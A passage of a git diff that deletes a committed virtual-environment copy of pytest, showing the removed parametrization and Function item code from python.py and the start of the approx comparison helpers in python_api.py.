_HiddenParam, - marks: Iterable[Mark | MarkDecorator], - scope: Scope, - param_index: int, - nodeid: str, - ) -> CallSpec2: - params = self.params.copy() - indices = self.indices.copy() - arg2scope = dict(self._arg2scope) - for arg, val in zip(argnames, valset, strict=True): - if arg in params: - raise nodes.Collector.CollectError( - f"{nodeid}: duplicate parametrization of {arg!r}" - ) - params[arg] = val - indices[arg] = param_index - arg2scope[arg] = scope - return CallSpec2( - params=params, - indices=indices, - _arg2scope=arg2scope, - _idlist=self._idlist if id is HIDDEN_PARAM else [*self._idlist, id], - marks=[*self.marks, *normalize_mark_list(marks)], - ) - - def getparam(self, name: str) -> object: - try: - return self.params[name] - except KeyError as e: - raise ValueError(name) from e - - @property - def id(self) -> str: - return "-".join(self._idlist) - - -def get_direct_param_fixture_func(request: FixtureRequest) -> Any: - return request.param - - -class DirectParamFixtureDef(FixtureDef[FixtureValue]): - """A custom FixtureDef for direct parametrization fixtures. - - Each parameter in direct parametrization is desugared to a parametrized - fixture which returns the direct parameterization value as its param. - We use this custom type as a "marker" for this type of FixtureDef, but - usually behaves like any other FixtureDef. - """ - - def __init__(self, *, node: nodes.Node, argname: str, scope: Scope) -> None: - super().__init__( - config=node.config, - baseid=NOTSET, - argname=argname, - func=get_direct_param_fixture_func, - scope=scope, - params=None, - ids=None, - node=node, - _ispytest=True, - ) - - -# Used for storing fixturedefs for direct parametrization. -name2directparamfixturedef_key = StashKey[dict[str, DirectParamFixtureDef[object]]]() - - -@final -class Metafunc: - """Objects passed to the :hook:`pytest_generate_tests` hook. - - They help to inspect a test function and to generate tests according to - test configuration or values specified in the class or module where a - test function is defined. - """ - - def __init__( - self, - definition: FunctionDefinition, - fixtureinfo: fixtures.FuncFixtureInfo, - config: Config, - cls=None, - module=None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - - #: Access to the underlying :class:`_pytest.python.FunctionDefinition`. - self.definition = definition - - #: Access to the :class:`pytest.Config` object for the test session. - self.config = config - - #: The module object where the test function is defined in. - self.module = module - - #: Underlying Python test function. - self.function = definition.obj - - #: Set of fixture names required by the test function. - self.fixturenames = fixtureinfo.names_closure - - #: Class object where the test function is defined in or ``None``. - self.cls = cls - - self._arg2fixturedefs = fixtureinfo.name2fixturedefs - - # Result of parametrize(). - self._calls: list[CallSpec2] = [] - - self._params_directness: dict[str, Literal["indirect", "direct"]] = {} - - def parametrize( - self, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - indirect: bool | Sequence[str] = False, - ids: Iterable[object | None] | Callable[[Any], object | None] | None = None, - scope: ScopeName | None = None, - *, - _param_mark: Mark | None = None, - ) -> None: - """Add new invocations to the underlying test function using the list - of argvalues for the given argnames. Parametrization is performed - during the collection phase. If you need to setup expensive resources - see about setting ``indirect`` to do it at test setup time instead. - - Can be called multiple times per test function (but only on different - argument names), in which case each call parametrizes all previous - parametrizations, e.g. - - :: - - unparametrized: t - parametrize ["x", "y"]: t[x], t[y] - parametrize [1, 2]: t[x-1], t[x-2], t[y-1], t[y-2] - - :param argnames: - A comma-separated string denoting one or more argument names, or - a list/tuple of argument strings. - - :param argvalues: - The list of argvalues determines how often a test is invoked with - different argument values. - - If only one argname was specified argvalues is a list of values. - If N argnames were specified, argvalues must be a list of - N-tuples, where each tuple-element specifies a value for its - respective argname. - - .. versionchanged:: 9.1 - - Passing a non-:class:`~collections.abc.Collection` iterable - (such as a generator or iterator) is deprecated. See - :ref:`parametrize-iterators` for details. - - :param indirect: - A list of arguments' names (subset of argnames) or a boolean. - If True the list contains all names from the argnames. Each - argvalue corresponding to an argname in this list will - be passed as request.param to its respective argname fixture - function so that it can perform more expensive setups during the - setup phase of a test rather than at collection time. - - :param ids: - Sequence of (or generator for) ids for ``argvalues``, - or a callable to return part of the id for each argvalue. - - With sequences (and generators like ``itertools.count()``) the - returned ids should be of type ``string``, ``int``, ``float``, - ``bool``, or ``None``. - They are mapped to the corresponding index in ``argvalues``. - ``None`` means to use the auto-generated id. - - .. versionadded:: 8.4 - :ref:`hidden-param` means to hide the parameter set - from the test name. Can only be used at most 1 time, as - test names need to be unique. - - If it is a callable it will be called for each entry in - ``argvalues``, and the return value is used as part of the - auto-generated id for the whole set (where parts are joined with - dashes ("-")). - This is useful to provide more specific ids for certain items, e.g. - dates. Returning ``None`` will use an auto-generated id. - - If no ids are provided they will be generated automatically from - the argvalues. - - :param scope: - If specified it denotes the scope of the parameters. - The scope is used for grouping tests by parameter instances. - It will also override any fixture-function defined scope, allowing - to set a dynamic scope using test context or configuration. - """ - nodeid = self.definition.nodeid - - argnames, parametersets = ParameterSet._for_parametrize( - argnames, - argvalues, - self.function, - self.config, - nodeid=self.definition.nodeid, - ) - del argvalues - - if "request" in argnames: - fail( - f"{nodeid}: 'request' is a reserved name and cannot be used in @pytest.mark.parametrize", - pytrace=False, - ) - - if scope is not None: - scope_ = Scope.from_user( - scope, descr=f"parametrize() call in {self.function.__name__}" - ) - else: - scope_ = _find_parametrized_scope(argnames, self._arg2fixturedefs, indirect) - - self._validate_if_using_arg_names(argnames, indirect) - - # Use any already (possibly) generated ids with parametrize Marks. - if _param_mark and _param_mark._param_ids_from: - generated_ids = _param_mark._param_ids_from._param_ids_generated - if generated_ids is not None: - ids = generated_ids - - ids = self._resolve_parameter_set_ids( - argnames, ids, parametersets, nodeid=self.definition.nodeid - ) - - # Store used (possibly generated) ids with parametrize Marks. - if _param_mark and _param_mark._param_ids_from and generated_ids is None: - object.__setattr__(_param_mark._param_ids_from, "_param_ids_generated", ids) - - # Calculate directness. - arg_directness = _resolve_args_directness( - argnames, indirect, self.definition.nodeid - ) - self._params_directness.update(arg_directness) - - # Add direct parametrizations as fixturedefs to arg2fixturedefs by - # registering artificial DirectParamFixtureDef's such that later at test - # setup time we can rely on FixtureDefs to exist for all argnames. - node = None - # For scopes higher than function, a DirectParamFixtureDef might have - # already been created for the scope. We thus store and cache the - # DirectParamFixtureDef on the node related to the scope. - if scope_ is Scope.Function: - name2directparamfixturedef = None - else: - collector = self.definition.parent - assert collector is not None - node = get_scope_node(collector, scope_) - if node is None: - # If used class scope and there is no class, use module-level - # collector (for now). - if scope_ is Scope.Class: - assert isinstance(collector, Module) - node = collector - # If used package scope and there is no package, use session - # (for now). - elif scope_ is Scope.Package: - node = collector.session - else: - assert False, f"Unhandled missing scope: {scope}" - default: dict[str, DirectParamFixtureDef[object]] = {} - name2directparamfixturedef = node.stash.setdefault( - name2directparamfixturedef_key, default - ) - for argname in argnames: - if arg_directness[argname] == "indirect": - continue - if ( - name2directparamfixturedef is not None - and argname in name2directparamfixturedef - ): - fixturedef = name2directparamfixturedef[argname] - else: - fixturedef = DirectParamFixtureDef( - node=self.definition.session, - argname=argname, - scope=scope_, - ) - if name2directparamfixturedef is not None: - name2directparamfixturedef[argname] = fixturedef - self._arg2fixturedefs[argname] = [fixturedef] - - # Create the new calls: if we are parametrize() multiple times (by applying the decorator - # more than once) then we accumulate those calls generating the cartesian product - # of all calls. - newcalls = [] - for callspec in self._calls or [CallSpec2()]: - for param_index, (param_id, param_set) in enumerate( - zip(ids, parametersets, strict=True) - ): - newcallspec = callspec.setmulti( - argnames=argnames, - valset=param_set.values, - id=param_id, - marks=param_set.marks, - scope=scope_, - param_index=param_index, - nodeid=nodeid, - ) - newcalls.append(newcallspec) - self._calls = newcalls - - def _resolve_parameter_set_ids( - self, - argnames: Sequence[str], - ids: Iterable[object | None] | Callable[[Any], object | None] | None, - parametersets: Sequence[ParameterSet], - nodeid: str, - ) -> list[str | _HiddenParam]: - """Resolve the actual ids for the given parameter sets. - - :param argnames: - Argument names passed to ``parametrize()``. - :param ids: - The `ids` parameter of the ``parametrize()`` call (see docs). - :param parametersets: - The parameter sets, each containing a set of values corresponding - to ``argnames``. - :param nodeid str: - The nodeid of the definition item that generated this - parametrization. - :returns: - List with ids for each parameter set given. - """ - if ids is None: - idfn = None - ids_ = None - elif callable(ids): - idfn = ids - ids_ = None - else: - idfn = None - ids_ = self._validate_ids(ids, parametersets) - id_maker = IdMaker( - argnames, - parametersets, - idfn, - ids_, - self.config, - nodeid=nodeid, - ) - return id_maker.make_unique_parameterset_ids() - - def _validate_ids( - self, - ids: Iterable[object | None], - parametersets: Sequence[ParameterSet], - ) -> list[object | None]: - try: - num_ids = len(ids) # type: ignore[arg-type] - except TypeError: - try: - iter(ids) - except TypeError as e: - raise TypeError("ids must be a callable or an iterable") from e - num_ids = len(parametersets) - - # num_ids == 0 is a special case: https://github.com/pytest-dev/pytest/issues/1849 - if num_ids != len(parametersets) and num_ids != 0: - nodeid = self.definition.nodeid - fail( - f"In {nodeid}: {len(parametersets)} parameter sets specified, with different number of ids: {num_ids}", - pytrace=False, - ) - - return list(itertools.islice(ids, num_ids)) - - def _validate_if_using_arg_names( - self, - argnames: Sequence[str], - indirect: bool | Sequence[str], - ) -> None: - """Check if all argnames are being used, by default values, or directly/indirectly. - - :param List[str] argnames: List of argument names passed to ``parametrize()``. - :param indirect: Same as the ``indirect`` parameter of ``parametrize()``. - :raises ValueError: If validation fails. - """ - default_arg_names = set(get_default_arg_names(self.function)) - nodeid = self.definition.nodeid - for arg in argnames: - if arg not in self.fixturenames: - if arg in default_arg_names: - fail( - f"In {nodeid}: function already takes an argument '{arg}' with a default value", - pytrace=False, - ) - else: - if isinstance(indirect, Sequence): - name = "fixture" if arg in indirect else "argument" - else: - name = "fixture" if indirect else "argument" - fail( - f"In {nodeid}: function uses no {name} '{arg}'", - pytrace=False, - ) - - def _recompute_direct_params_indices(self) -> None: - for argname, param_type in self._params_directness.items(): - if param_type == "direct": - for i, callspec in enumerate(self._calls): - callspec.indices[argname] = i - - -def _find_parametrized_scope( - argnames: Sequence[str], - arg2fixturedefs: Mapping[str, Sequence[fixtures.FixtureDef[object]]], - indirect: bool | Sequence[str], -) -> Scope: - """Find the most appropriate scope for a parametrized call based on its arguments. - - When there's at least one direct argument, always use "function" scope. - - When a test function is parametrized and all its arguments are indirect - (e.g. fixtures), return the most narrow scope based on the fixtures used. - - Related to issue #1832, based on code posted by @Kingdread. - """ - if isinstance(indirect, Sequence): - all_arguments_are_fixtures = len(indirect) == len(argnames) - else: - all_arguments_are_fixtures = bool(indirect) - - if all_arguments_are_fixtures: - fixturedefs = arg2fixturedefs or {} - used_scopes = [ - fixturedef[-1]._scope - for name, fixturedef in fixturedefs.items() - if name in argnames - ] - # Takes the most narrow scope from used fixtures. - return min(used_scopes, default=Scope.Function) - - return Scope.Function - - -def _ascii_escaped_by_config(val: str | bytes, config: Config | None) -> str: - if config is None: - escape_option = False - else: - escape_option = config.getini( - "disable_test_id_escaping_and_forfeit_all_rights_to_community_support" - ) - # TODO: If escaping is turned off and the user passes bytes, - # will return a bytes. For now we ignore this but the - # code *probably* doesn't handle this case. - return val if escape_option else ascii_escaped(val) # type: ignore - - -class Function(PyobjMixin, nodes.Item): - """Item responsible for setting up and executing a Python test function. - - :param name: - The full function name, including any decorations like those - added by parametrization (``my_func[my_param]``). - :param parent: - The parent Node. - :param config: - The pytest Config object. - :param callspec: - If given, this function has been parametrized and the callspec contains - meta information about the parametrization. - :param callobj: - If given, the object which will be called when the Function is invoked, - otherwise the callobj will be obtained from ``parent`` using ``originalname``. - :param keywords: - Keywords bound to the function object for "-k" matching. - :param session: - The pytest Session object. - :param fixtureinfo: - Fixture information already resolved at this fixture node.. - :param originalname: - The attribute name to use for accessing the underlying function object. - Defaults to ``name``. Set this if name is different from the original name, - for example when it contains decorations like those added by parametrization - (``my_func[my_param]``). - """ - - # Disable since functions handle it themselves. - _ALLOW_MARKERS = False - - def __init__( - self, - name: str, - parent, - config: Config | None = None, - callspec: CallSpec2 | None = None, - callobj=NOTSET, - keywords: Mapping[str, Any] | None = None, - session: Session | None = None, - fixtureinfo: FuncFixtureInfo | None = None, - originalname: str | None = None, - ) -> None: - super().__init__(name, parent, config=config, session=session) - - if callobj is not NOTSET: - self._obj = callobj - self._instance = getattr(callobj, "__self__", None) - - #: Original function name, without any decorations (for example - #: parametrization adds a ``"[...]"`` suffix to function names), used to access - #: the underlying function object from ``parent`` (in case ``callobj`` is not given - #: explicitly). - #: - #: .. versionadded:: 3.0 - self.originalname = originalname or name - - # Note: when FunctionDefinition is introduced, we should change ``originalname`` - # to a readonly property that returns FunctionDefinition.name. - - self.own_markers.extend(get_unpacked_marks(self.obj)) - if callspec: - self.callspec = callspec - self.own_markers.extend(callspec.marks) - - # todo: this is a hell of a hack - # https://github.com/pytest-dev/pytest/issues/4569 - # Note: the order of the updates is important here; indicates what - # takes priority (ctor argument over function attributes over markers). - # Take own_markers only; NodeKeywords handles parent traversal on its own. - self.keywords.update((mark.name, mark) for mark in self.own_markers) - self.keywords.update(self.obj.__dict__) - if keywords: - self.keywords.update(keywords) - - if fixtureinfo is None: - fm = self.session._fixturemanager - fixtureinfo = fm.getfixtureinfo(self, self.obj, self.cls) - self._fixtureinfo: FuncFixtureInfo = fixtureinfo - self.fixturenames = fixtureinfo.names_closure - self._initrequest() - - # todo: determine sound type limitations - @classmethod - def from_parent(cls, parent, **kw) -> Self: - """The public constructor.""" - return super().from_parent(parent=parent, **kw) - - def _initrequest(self) -> None: - self.funcargs: dict[str, object] = {} - self._request = fixtures.TopRequest(self, _ispytest=True) - - @property - def function(self): - """Underlying python 'function' object.""" - return getimfunc(self.obj) - - @property - def instance(self): - try: - return self._instance - except AttributeError: - if isinstance(self.parent, Class): - # Each Function gets a fresh class instance. - self._instance = self._getinstance() - else: - self._instance = None - return self._instance - - def _getinstance(self): - if isinstance(self.parent, Class): - # Each Function gets a fresh class instance. - return self.parent.newinstance() - else: - return None - - def _getobj(self): - instance = self.instance - if instance is not None: - parent_obj = instance - else: - assert self.parent is not None - parent_obj = self.parent.obj # type: ignore[attr-defined] - return getattr(parent_obj, self.originalname) - - @property - def _pyfuncitem(self): - """(compatonly) for code expecting pytest-2.2 style request objects.""" - return self - - def runtest(self) -> None: - """Execute the underlying test function.""" - self.ihook.pytest_pyfunc_call(pyfuncitem=self) - - def setup(self) -> None: - self._request._fillfixtures() - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - if hasattr(self, "_obj") and not self.config.getoption("fulltrace", False): - code = _pytest._code.Code.from_function(get_real_func(self.obj)) - path, firstlineno = code.path, code.firstlineno - traceback = excinfo.traceback - ntraceback = traceback.cut(path=path, firstlineno=firstlineno) - if ntraceback == traceback: - ntraceback = ntraceback.cut(path=path) - if ntraceback == traceback: - ntraceback = ntraceback.filter(filter_traceback) - if not ntraceback: - ntraceback = traceback - ntraceback = ntraceback.filter(excinfo) - - # issue364: mark all but first and last frames to - # only show a single-line message for each frame. - if self.config.getoption("tbstyle", "auto") == "auto": - if len(ntraceback) > 2: - ntraceback = Traceback( - ( - ntraceback[0], - *(t.with_repr_style("short") for t in ntraceback[1:-1]), - ntraceback[-1], - ) - ) - - return ntraceback - return excinfo.traceback - - # TODO: Type ignored -- breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, - excinfo: ExceptionInfo[BaseException], - ) -> str | TerminalRepr: - style = self.config.getoption("tbstyle", "auto") - if style == "auto": - style = "long" - return self._repr_failure_py(excinfo, style=style) - - -class FunctionDefinition(Function): - """This class is a stop gap solution until we evolve to have actual function - definition nodes and manage to get rid of ``metafunc``.""" - - def runtest(self) -> None: - raise RuntimeError("function definitions are not supposed to be run as tests") - - setup = runtest diff --git a/venv/Lib/site-packages/_pytest/python_api.py b/venv/Lib/site-packages/_pytest/python_api.py deleted file mode 100644 index d7f4c2dcef83e8357ecc2908f2d0e9d6d811dbcc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/python_api.py +++ /dev/null @@ -1,922 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import builtins -from collections.abc import Collection -from collections.abc import Mapping -from collections.abc import Sequence -from collections.abc import Sized -from datetime import datetime -from datetime import timedelta -from decimal import Decimal -import math -from numbers import Complex -import pprint -import sys -from typing import Any -from typing import TYPE_CHECKING - - -if TYPE_CHECKING: - from numpy import ndarray - - -def _compare_approx( - full_object: object, - message_data: Sequence[tuple[str, str, str]], - number_of_elements: int, - different_ids: Sequence[object], - max_abs_diff: float, - max_rel_diff: float, -) -> list[str]: - message_list = list(message_data) - message_list.insert(0, ("Index", "Obtained", "Expected")) - max_sizes = [0, 0, 0] - for index, obtained, expected in message_list: - max_sizes[0] = max(max_sizes[0], len(index)) - max_sizes[1] = max(max_sizes[1], len(obtained)) - max_sizes[2] = max(max_sizes[2], len(expected)) - explanation = [ - f"comparison failed. Mismatched elements: {len(different_ids)} / {number_of_elements}:", - f"Max absolute difference: {max_abs_diff}", - f"Max relative difference: {max_rel_diff}", - ] + [ - f"{indexes:<{max_sizes[0]}} | {obtained:<{max_sizes[1]}} | {expected:<{max_sizes[2]}}" - for indexes, obtained, expected in message_list - ] - return explanation - - -# builtin pytest.approx helper - - -class ApproxBase: - """Provide shared utilities for making approximate comparisons between - numbers or sequences of numbers.""" - - # Tell numpy to use our `__eq__` operator instead of its. - __array_ufunc__ = None - __array_priority__ = 100 - - def __init__(self, expected, rel=None, abs=None, nan_ok: bool = False) -> None: - __tracebackhide__ = True - self.expected = expected - self.abs = abs - self.rel = rel - self.nan_ok = nan_ok - self._check_type() - - def __repr__(self) -> str: - raise NotImplementedError - - def _repr_compare(self, other_side: Any) -> list[str]: - return [ - "comparison failed", - f"Obtained: {other_side}", - f"Expected: {self}", - ] - - def __eq__(self, actual) -> bool: - return all( - a == self._approx_scalar(x) for a, x in self._yield_comparisons(actual) - ) - - def __bool__(self): - __tracebackhide__ = True - raise AssertionError( - "approx() is not supported in a boolean context.\nDid you mean: `assert a == approx(b)`?" - ) - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - def __ne__(self, actual) -> bool: - return not (actual == self) - - def _approx_scalar(self, x) -> ApproxBase: - if isinstance(x, Decimal): - return ApproxDecimal(x, rel=self.rel, abs=self.abs, nan_ok=self.nan_ok) - if isinstance(x, (datetime, timedelta)): - return ApproxTimedelta(x, rel=self.rel, abs=self.abs, nan_ok=self.nan_ok) - return ApproxScalar(x, rel=self.rel, abs=self.abs, nan_ok=self.nan_ok) - - def _yield_comparisons(self, actual): - """Yield all the pairs of numbers to be compared. - - This is used to implement the `__eq__` method. - """ - raise NotImplementedError - - def _check_type(self) -> None: - """Raise a TypeError if the expected value is not a valid type.""" - # This is only a concern if the expected value is a sequence. In every - # other case, the approx() function ensures that the expected value has - # a numeric type. For this reason, the default is to do nothing. The - # classes that deal with sequences should reimplement this method to - # raise if there are any non-numeric elements in the sequence. - - -def _recursive_sequence_map(f, x): - """Recursively map a function over a sequence of arbitrary depth""" - if isinstance(x, list | tuple): - seq_type = type(x) - return seq_type(_recursive_sequence_map(f, xi) for xi in x) - elif _is_sequence_like(x): - return [_recursive_sequence_map(f, xi) for xi in x] - else: - return f(x) - - -class ApproxNumpy(ApproxBase): - """Perform approximate comparisons where the expected value is numpy array.""" - - def __repr__(self) -> str: - list_scalars = _recursive_sequence_map( - self._approx_scalar, self.expected.tolist() - ) - return f"approx({list_scalars!r})" - - def _repr_compare(self, other_side: ndarray | list[Any]) -> list[str]: - import itertools - import math - - def get_value_from_nested_list( - nested_list: list[Any], nd_index: tuple[Any, ...] - ) -> Any: - """ - Helper function to get the value out of a nested list, given an n-dimensional index. - This mimics numpy's indexing, but for raw nested python lists. - """ - value: Any = nested_list - for i in nd_index: - value = value[i] - return value - - np_array_shape = self.expected.shape - approx_side_as_seq = _recursive_sequence_map( - self._approx_scalar, self.expected.tolist() - ) - - # convert other_side to numpy array to ensure shape attribute is available - other_side_as_array = _as_numpy_array(other_side) - assert other_side_as_array is not None - - if np_array_shape != other_side_as_array.shape: - return [ - "Impossible to compare arrays with different shapes.", - f"Shapes: {np_array_shape} and {other_side_as_array.shape}", - ] - - number_of_elements = self.expected.size - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for index in itertools.product(*(range(i) for i in np_array_shape)): - approx_value = get_value_from_nested_list(approx_side_as_seq, index) - other_value = get_value_from_nested_list(other_side_as_array, index) - if approx_value != other_value: - abs_diff = abs(approx_value.expected - other_value) - max_abs_diff = max(max_abs_diff, abs_diff) - if other_value == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max(max_rel_diff, abs_diff / abs(other_value)) - different_ids.append(index) - - message_data = [ - ( - str(index), - str(get_value_from_nested_list(other_side_as_array, index)), - str(get_value_from_nested_list(approx_side_as_seq, index)), - ) - for index in different_ids - ] - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - import numpy as np - - # self.expected is supposed to always be an array here. - - if not np.isscalar(actual): - try: - actual = np.asarray(actual) - except Exception as e: - raise TypeError(f"cannot compare '{actual}' to numpy.ndarray") from e - - if not np.isscalar(actual) and actual.shape != self.expected.shape: - return False - - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - import numpy as np - - # `actual` can either be a numpy array or a scalar, it is treated in - # `__eq__` before being passed to `ApproxBase.__eq__`, which is the - # only method that calls this one. - - if np.isscalar(actual): - for i in np.ndindex(self.expected.shape): - yield actual, self.expected[i].item() - else: - for i in np.ndindex(self.expected.shape): - yield actual[i].item(), self.expected[i].item() - - -class ApproxMapping(ApproxBase): - """Perform approximate comparisons where the expected value is a mapping - with numeric values (the keys can be anything).""" - - def __repr__(self) -> str: - return f"approx({ ({k: self._approx_scalar(v) for k, v in self.expected.items()})!r})" - - def _repr_compare(self, other_side: Mapping[object, float]) -> list[str]: - import math - - if len(self.expected) != len(other_side): - return [ - "Impossible to compare mappings with different sizes.", - f"Lengths: {len(self.expected)} and {len(other_side)}", - ] - - if self.expected.keys() != other_side.keys(): - return [ - "comparison failed.", - f"Mappings has different keys: expected {self.expected.keys()} but got {other_side.keys()}", - ] - - approx_side_as_map = { - k: self._approx_scalar(v) for k, v in self.expected.items() - } - - number_of_elements = len(approx_side_as_map) - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for approx_key, approx_value in approx_side_as_map.items(): - other_value = other_side[approx_key] - if approx_value != other_value: - if approx_value.expected is not None and other_value is not None: - try: - max_abs_diff = max( - max_abs_diff, abs(approx_value.expected - other_value) - ) - if approx_value.expected == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max( - max_rel_diff, - abs( - (approx_value.expected - other_value) - / approx_value.expected - ), - ) - except ZeroDivisionError: - pass - different_ids.append(approx_key) - - message_data = [ - (str(key), str(other_side[key]), str(approx_side_as_map[key])) - for key in different_ids - ] - - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - try: - if set(actual.keys()) != set(self.expected.keys()): - return False - except AttributeError: - return False - - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - for k in self.expected.keys(): - yield actual[k], self.expected[k] - - def _check_type(self) -> None: - __tracebackhide__ = True - for key, value in self.expected.items(): - if isinstance(value, type(self.expected)): - msg = "pytest.approx() does not support nested dictionaries: key={!r} value={!r}\n full mapping={}" - raise TypeError(msg.format(key, value, pprint.pformat(self.expected))) - - -class ApproxSequenceLike(ApproxBase): - """Perform approximate comparisons where the expected value is a sequence of numbers.""" - - def __repr__(self) -> str: - seq_type = type(self.expected) - if seq_type not in (tuple, list): - seq_type = list - return f"approx({seq_type(self._approx_scalar(x) for x in self.expected)!r})" - - def _repr_compare(self, other_side: Sequence[float]) -> list[str]: - import math - - if len(self.expected) != len(other_side): - return [ - "Impossible to compare lists with different sizes.", - f"Lengths: {len(self.expected)} and {len(other_side)}", - ] - - approx_side_as_map = _recursive_sequence_map(self._approx_scalar, self.expected) - - number_of_elements = len(approx_side_as_map) - max_abs_diff = -math.inf - max_rel_diff = -math.inf - different_ids = [] - for i, (approx_value, other_value) in enumerate( - zip(approx_side_as_map, other_side, strict=True) - ): - if approx_value != other_value: - try: - abs_diff = abs(approx_value.expected - other_value) - max_abs_diff = max(max_abs_diff, abs_diff) - # Ignore non-numbers for the diff calculations (#13012). - except TypeError: - pass - else: - if other_value == 0.0: - max_rel_diff = math.inf - else: - max_rel_diff = max(max_rel_diff, abs_diff / abs(other_value)) - different_ids.append(i) - message_data = [ - (str(i), str(other_side[i]), str(approx_side_as_map[i])) - for i in different_ids - ] - - return _compare_approx( - self.expected, - message_data, - number_of_elements, - different_ids, - max_abs_diff, - max_rel_diff, - ) - - def __eq__(self, actual) -> bool: - try: - if len(actual) != len(self.expected): - return False - except TypeError: - return False - return super().__eq__(actual) - - def _yield_comparisons(self, actual): - return zip(actual, self.expected, strict=True) - - def _check_type(self) -> None: - __tracebackhide__ = True - for index, x in enumerate(self.expected): - if isinstance(x, type(self.expected)): - msg = "pytest.approx() does not support nested data structures: {!r} at index {}\n full sequence: {}" - raise TypeError(msg.format(x, index, pprint.pformat(self.expected))) - - -class ApproxScalar(ApproxBase): - """Perform approximate comparisons where the expected value is a single number.""" - - # Using Real should be better than this Union, but not possible yet: - # https://github.com/python/typeshed/pull/3108 - DEFAULT_ABSOLUTE_TOLERANCE: float | Decimal = 1e-12 - DEFAULT_RELATIVE_TOLERANCE: float | Decimal = 1e-6 - - def __repr__(self) -> str: - """Return a string communicating both the expected value and the - tolerance for the comparison being made. - - For example, ``1.0 ± 1e-6``, ``(3+4j) ± 5e-6 ∠ ±180°``. - """ - # Don't show a tolerance for values that aren't compared using - # tolerances, i.e. non-numerics and infinities. Need to call abs to - # handle complex numbers, e.g. (inf + 1j). - if ( - isinstance(self.expected, bool) - or (not isinstance(self.expected, Complex | Decimal)) - or math.isinf(abs(self.expected) or isinstance(self.expected, bool)) - ): - return str(self.expected) - - # If a sensible tolerance can't be calculated, self.tolerance will - # raise a ValueError. In this case, display '???'. - try: - if 1e-3 <= self.tolerance < 1e3: - vetted_tolerance = f"{self.tolerance:n}" - else: - vetted_tolerance = f"{self.tolerance:.1e}" - - if ( - isinstance(self.expected, Complex) - and self.expected.imag - and not math.isinf(self.tolerance) - ): - vetted_tolerance += " ∠ ±180°" - except ValueError: - vetted_tolerance = "???" - - return f"{self.expected} ± {vetted_tolerance}" - - def __eq__(self, actual) -> bool: - """Return whether the given value is equal to the expected value - within the pre-specified tolerance.""" - - def is_bool(val: Any) -> bool: - # Check if `val` is a native bool or numpy bool. - if isinstance(val, bool): - return True - if np := sys.modules.get("numpy"): - return isinstance(val, np.bool_) - return False - - asarray = _as_numpy_array(actual) - if asarray is not None: - # Call ``__eq__()`` manually to prevent infinite-recursion with - # numpy<1.13. See #3748. - return all(self.__eq__(a) for a in asarray.flat) - - # Short-circuit exact equality, except for bool and np.bool_ - if is_bool(self.expected) and not is_bool(actual): - return False - elif actual == self.expected: - return True - - # If either type is non-numeric, fall back to strict equality. - # NB: we need Complex, rather than just Number, to ensure that __abs__, - # __sub__, and __float__ are defined. Also, consider bool to be - # non-numeric, even though it has the required arithmetic. - if is_bool(self.expected) or not ( - isinstance(self.expected, Complex | Decimal) - and isinstance(actual, Complex | Decimal) - ): - return False - - # Allow the user to control whether NaNs are considered equal to each - # other or not. The abs() calls are for compatibility with complex - # numbers. - if math.isnan(abs(self.expected)): - return self.nan_ok and math.isnan(abs(actual)) - - # Infinity shouldn't be approximately equal to anything but itself, but - # if there's a relative tolerance, it will be infinite and infinity - # will seem approximately equal to everything. The equal-to-itself - # case would have been short circuited above, so here we can just - # return false if the expected value is infinite. The abs() call is - # for compatibility with complex numbers. - if math.isinf(abs(self.expected)): - return False - - # Return true if the two numbers are within the tolerance. - result: bool = abs(self.expected - actual) <= self.tolerance - return result - - __hash__ = None - - @property - def tolerance(self): - """Return the tolerance for the comparison. - - This could be either an absolute tolerance or a relative tolerance, - depending on what the user specified or which would be larger. - """ - - def set_default(x, default): - return x if x is not None else default - - # Figure out what the absolute tolerance should be. ``self.abs`` is - # either None or a value specified by the user. - absolute_tolerance = set_default(self.abs, self.DEFAULT_ABSOLUTE_TOLERANCE) - - if absolute_tolerance < 0: - raise ValueError( - f"absolute tolerance can't be negative: {absolute_tolerance}" - ) - if math.isnan(absolute_tolerance): - raise ValueError("absolute tolerance can't be NaN.") - - # If the user specified an absolute tolerance but not a relative one, - # just return the absolute tolerance. - if self.rel is None: - if self.abs is not None: - return absolute_tolerance - - # Figure out what the relative tolerance should be. ``self.rel`` is - # either None or a value specified by the user. This is done after - # we've made sure the user didn't ask for an absolute tolerance only, - # because we don't want to raise errors about the relative tolerance if - # we aren't even going to use it. - relative_tolerance = set_default( - self.rel, self.DEFAULT_RELATIVE_TOLERANCE - ) * abs(self.expected) - - if relative_tolerance < 0: - raise ValueError( - f"relative tolerance can't be negative: {relative_tolerance}" - ) - if math.isnan(relative_tolerance): - raise ValueError("relative tolerance can't be NaN.") - - # Return the larger of the relative and absolute tolerances. - return max(relative_tolerance, absolute_tolerance) - - -class ApproxDecimal(ApproxScalar): - """Perform approximate comparisons where the expected value is a Decimal.""" - - DEFAULT_ABSOLUTE_TOLERANCE = Decimal("1e-12") - DEFAULT_RELATIVE_TOLERANCE = Decimal("1e-6") - - def __repr__(self) -> str: - if isinstance(self.rel, float): - rel = Decimal.from_float(self.rel) - else: - rel = self.rel - - if isinstance(self.abs, float): - abs_ = Decimal.from_float(self.abs) - else: - abs_ = self.abs - - tol_str = "???" - if rel is not None and Decimal("1e-3") <= rel <= Decimal("1e3"): - tol_str = f"{rel:.1e}" - elif abs_ is not None: - tol_str = f"{abs_:.1e}" - - return f"{self.expected} ± {tol_str}" - - -class ApproxTimedelta(ApproxBase): - """Perform approximate comparisons where the expected value is a - datetime or timedelta. - - Requires an 